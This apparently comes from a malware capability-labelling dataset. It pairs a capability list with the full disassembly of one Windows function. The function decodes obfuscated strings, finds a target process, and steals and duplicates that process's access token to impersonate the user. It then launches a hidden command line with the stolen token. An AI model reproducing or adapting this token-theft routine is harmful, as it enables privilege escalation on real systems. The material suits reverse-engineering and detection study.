Function at 0x140001000
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Encode data using xor
Enumerate processes
Impersonate user

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x390]
sub rsp, 0x490
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x380], rax
xor esi, esi
mov dword [rsp + 0x68], 0x577a0555
mov r8d, esi
mov dword [rsp + 0x6c], 0x1b712499
mov dword [rsp + 0x70], 0x85e3f6a2
lea r9, [rsp + 0x68]
mov byte [rsp + 0x74], 0
nop word [rax + rax]
movzx ecx, r8b
movzx eax, r8b
sub cl, byte [r9]
lea r9, [r9 + 1]
xor cl, 0x9f
movzx edx, r8b
add cl, 0x69
not cl
sub cl, r8b
xor cl, 0x44
sub al, cl
mov ecx, 6
xor al, 0xaf
sub dl, al
movzx eax, r8b
ror dl, 1
sub dl, r8b
xor dl, r8b
not dl
add dl, 0x1a
ror dl, 2
sub dl, 0x57
xor dl, r8b
sub cl, dl
imul edx, eax, 0xfe
rol cl, 1
mov eax, 0x5b
add cl, r8b
neg cl
xor cl, r8b
add cl, r8b
xor cl, 9
sub dl, cl
mov ecx, 0x7d
not dl
add dl, r8b
rol dl, 2
not dl
xor dl, r8b
sub dl, 6
rol dl, 2
xor dl, r8b
add dl, 0x25
ror dl, 3
sub dl, r8b
ror dl, 1
sub dl, 0x41
xor dl, r8b
add dl, 7
ror dl, 3
sub dl, 0x56
xor dl, r8b
add dl, r8b
neg dl
xor dl, r8b
sub al, dl
xor al, r8b
sub cl, al
xor cl, 0x18
sub cl, r8b
xor cl, r8b
ror cl, 3
xor cl, 0xe4
add cl, 0x43
not cl
sub cl, r8b
xor cl, 0xb6
sub cl, r8b
inc r8d
ror cl, 2
mov byte [r9 - 1], cl
cmp r8d, 0xd
jb 0x140001060
movq xmm1, qword [rsp + 0x68]
lea rcx, [rsp + 0x70]
xorps xmm0, xmm0
lea rdx, [rbp + 0x290]
punpcklbw xmm1, xmm0
mov r8d, 5
movdqu xmmword [rbp + 0x280], xmm1
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
mov word [rdx], ax
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001170
xor edx, edx
mov word [rbp + 0x29a], si
mov edi, esi
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000158c
xor edx, edx
mov dword [rbp + 0x20], 0x238
mov r8d, 0x234
lea rcx, [rbp + 0x24]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400011fb
nop
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400011f8
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400011d0
jmp 0x1400011fb
mov edi, dword [rbp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x14000158c
xorps xmm0, xmm0
mov qword [rsp + 0x50], rsi
xor eax, eax
mov qword [rsp + 0x60], rsi
movups xmmword [rbp - 0x4c], xmm0
mov dword [rbp + 0x14], eax
lea r8, [rbp + 0x260]
movups xmmword [rbp - 0x3c], xmm0
mov qword [rbp - 0x58], rax
movups xmmword [rbp - 0x2c], xmm0
mov dword [rbp - 0x50], 0x68
movups xmmword [rbp - 0x1c], xmm0
mov dword [rbp + 0x260], 0x89ba4ab6
movups xmmword [rbp - 0xc], xmm0
mov dword [rbp + 0x264], 0xac4e0e3b
movups xmmword [rbp + 4], xmm0
mov dword [rbp + 0x268], 0x91e79b68
movups xmmword [rbp - 0x68], xmm0
mov dword [rbp + 0x26c], 0xe04c05e
mov byte [rbp + 0x270], 0x5f
nop dword [rax + rax]
movzx edx, byte [r8]
lea r8, [r8 + 1]
rol dl, 1
mov ecx, 0xbf
sub dl, 0x34
sub cl, al
ror dl, 1
xor dl, al
sub dl, 0x7f
xor dl, al
add dl, 0x67
rol dl, 1
inc dl
ror dl, 2
sub dl, al
xor dl, 0xd2
rol dl, 3
xor dl, al
add dl, 0x30
xor dl, al
add dl, 0x24
not dl
add dl, 0x2d
not dl
xor dl, al
ror dl, 3
xor dl, al
add dl, 0x12
rol dl, 1
not dl
sub dl, al
ror dl, 1
add dl, cl
rol dl, 3
add dl, 0x61
xor dl, al
sub dl, al
sub dl, 0x1d
xor dl, 0xa6
sub dl, al
not dl
xor dl, al
inc eax
ror dl, 1
mov byte [r8 - 1], dl
cmp eax, 0x11
jb 0x140001280
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x58]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rbx, qword [rsp + 0x58]
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0x260]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140001375
mov rax, qword [rsp + 0x68]
lea r8, [rsp + 0x78]
mov qword [rsp + 0x28], rsi
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x7c], rax
mov rcx, rbx
mov dword [rsp + 0x78], 1
mov dword [rbp - 0x7c], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140001375
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, edi
mov edx, 1
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea r8, [rsp + 0x50]
mov edx, 0x2000000
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1400013c5
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov r9d, 2
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x2000000
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, esi
mov dword [rsp + 0x78], 0x413d3b52
lea r10, [rsp + 0x78]
mov dword [rsp + 0x7c], 0xbab66d03
mov r9d, 7
mov dword [rbp - 0x80], 0x5f7d5b58
mov dword [rbp - 0x7c], 0xbd6058a2
mov dword [rbp - 0x78], 0xed9e05f9
mov dword [rbp - 0x74], 0x1dbd5dd2
mov dword [rbp - 0x70], 0xc3647724
mov word [rbp - 0x6c], 0xbf62
mov byte [rbp - 0x6a], 0x43
movzx eax, byte [r10]
lea r10, [r10 + 1]
not al
movzx edx, r8b
add al, r8b
mov ecx, r9d
rol al, 2
sub al, r8b
xor al, 0xde
sub al, 0x33
xor al, r8b
inc al
ror al, 2
neg al
ror al, 2
not al
add al, 0x7d
not al
add al, r8b
xor al, r8b
add al, r8b
xor al, r8b
add al, 0x3b
ror al, 2
not al
add al, 0x4f
xor al, r8b
sub cl, al
mov eax, 1
xor cl, 0xe7
not cl
sub cl, 0x76
xor cl, 0x6c
sub cl, r8b
sub cl, 9
ror cl, 3
add cl, r8b
neg cl
rol cl, 1
sub cl, 0x55
xor cl, r8b
sub al, cl
movzx ecx, r8b
rol al, 3
sub dl, al
mov eax, 0xfd
add dl, 0x5c
xor dl, r8b
add dl, 0x7a
rol dl, 3
sub cl, dl
ror cl, 2
xor cl, r8b
sub al, cl
xor al, r8b
inc r8d
mov byte [r10 - 1], al
cmp r8d, 0x1f
jb 0x140001441
lea rax, [rsp + 0x78]
mov edx, 3
lea rcx, [rbp + 0x300]
nop dword [rax]
movq xmm1, qword [rax]
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
lea rax, [rax + 8]
movdqu xmmword [rcx], xmm1
lea rcx, [rcx + 0x10]
sub rdx, 1
jne 0x140001500
lea rcx, [rbp - 0x70]
lea r8, [rbp + 0x330]
nop dword [rax + rax]
movzx eax, byte [rcx]
lea rcx, [rcx + 1]
mov word [r8], ax
lea r8, [r8 + 2]
sub r9, 1
jne 0x140001530
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x40], rax
lea r8, [rbp + 0x300]
lea rax, [rbp - 0x50]
mov word [rbp + 0x33e], si
mov qword [rsp + 0x38], rax
lea edx, [r9 + 1]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x140001591
mov eax, 1
mov rcx, qword [rbp + 0x380]
xor rcx, rsp
call fcn.1400015d0
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret